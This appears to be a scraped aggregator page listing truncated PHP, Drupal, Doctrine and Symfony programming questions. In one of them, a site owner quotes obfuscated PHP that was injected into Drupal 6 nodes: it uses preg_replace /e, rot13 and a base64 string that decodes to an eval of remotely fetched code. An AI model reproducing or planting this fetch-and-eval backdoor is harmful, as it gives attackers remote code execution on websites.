草庐IT

drupal-field-collection

全部标签

php - 谷歌云端硬盘 API v3 : Invalid field selection

我正在使用GoogleDriveAPIv3访问有关驱动器的空间配额。而且,无论我做什么,我都会遇到这个错误:Fatalerror:Uncaughtexception'Google_Service_Exception'withmessage'Errorcalling**GEThttps://www.googleapis.com/drive/v3/about?fields=name**:(400)Invalidfieldselectionname'in/var/webs/includes/google-api-php-client/src/Google/Http/REST.php:110S

php - 从外部 PHP 检查 Drupal 身份验证

这可能很简单,但我是Drupal的新手。我工作的组织不久前切换到了Drupal,但是在各种外部PHP文件中仍然有一些遗留代码,转换成在Drupal中工作会很麻烦。但是,如果能够根据对Drupal进行身份验证的人来限制对其中某些页面的访问,那将是非常好的。(例如,有些页面是管理性的,目前任何知道URL的人都可以看到。是的,设计很差,但这就是我继承的......)我如何从外部PHP文件使用Drupal检查访问给定页面的人是否已通过身份验证? 最佳答案 我会同意Rimians的建议,即在Drupal本身(+1)中注册URL,但作为替代方案

php - 教义 - [语义错误] - 错误 : Class has no field or association

我正在尝试使用Doctrine的DQL运行查询在存储库中,我收到以下错误:QueryExceptioninQueryException.phpline63:[SemanticalError]line0,col100near'test_suite_id':Error:ClassApplication\Model\Entity\Pagehasnofieldorassociationnamedtest_suite_id协会一个User可以有多个TestSuite。一个TestSuite可以有多个Page。因此,我在User和TestSuite以及TestSuite和Page分别。以下是我的实

php - Drupal 7 - 以编程方式创建节点,将 youtube 嵌入到字段中

我正在尝试以编程方式创建节点。使用带有youtube扩展的媒体模块,我想用youtube数据填充一个字段。从我目前所读的内容来看,它看起来像这样:uid=1;$file->filename=$value;$file->uri='youtube://v/'.$value;$file->filemime='video/youtube';$file->type='video';$file->status=1;$youtube=file_save($file);node->field_youtube[$node->language]['0']['fid']=(array)$youtube->f

php - Drupal 7 hook_cron - 放在哪里

我想将cron作业添加到我的Drupal7系统,但我不知道如何做。我在谷歌上读到的例子根本没有解释把你的代码放在哪里。你必须做一个模块才能使用my_module_cron()吗?我有一个block,它使用从远程位置接收到的一些数据。获取这些远程数据的cron作业是我需要做的。我不能在我的block的代码中添加我的cron作业吗?提前致谢.. 最佳答案 您需要创建一个自定义模块,是的。查看moduledeveloper'sguide有关具体如何执行此操作的信息...当您安装了模块后,这将起作用:functionmymodule_cro

php - 增加 PHP 内存限制(Apache、Drupal6)

我正在尝试在共享托管服务器上运行Drupal安装。(我只是订阅了提供商-我不拥有盒子。)我需要增加Apache服务器的PHP内存限制。我试过了ini_set('memory_limit','64M');在settings.php(每个请求中包含的文件)中,但这会导致内部服务器错误500。如果我将其取出,则会出现此错误:Fatalerror:Allowedmemorysizeof33554432bytesexhausted(triedtoallocate19456bytes)...旁问:19456小于33554432,为什么说allowedsizeexhausted?我也试过把它放在.h

php - Drupal 6 中的 SQL PHP 注入(inject)攻击

今天,我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR

php - 这是什么 : "->" in Drupal?

我在Drupal中遇到这个->并且找不到任何关于它的文档。我像这样使用它print$node->content['field_pr_link'];它是Drupal还是PHP? 最佳答案 它是PHP。您正在使用它来访问节点对象上的内容字段。参见http://php.net/manual/en/language.oop5.php 关于php-这是什么:"->"inDrupal?,我们在StackOverflow上找到一个类似的问题: https://stackov

php - Count Doctrine 的 iterate() Collection Result

有一个QueryBuilder结果$query=$em->createQuery("SELECT....");通过iterate()方法获取它们http://doctrine-orm.readthedocs.org/en/2.0.x/reference/batch-processing.html$objects=$query->iterate();我现在可以foreach($objectsas$object){$object=$object[0];//dosomething..$object->getObjectId();...}但是...//aftertheiterate()call

php - Symfony/Doctrine "refers to the owning side field which does not exist"- 但类中存在属性

SeUserProgress和SeUser。SeUserProgress表为每个用户保存多个条目。这通过以下两个映射表示。类:SeUserProgress/***@ORM\ManyToOne(targetEntity="SeUser",inversedBy="progress")*@ORM\Column(name="user_id",type="integer",nullable=true)*/private$user;类别:SeUser/***@ORM\OneToMany(targetEntity="SeUserProgress",mappedBy="user")*/private$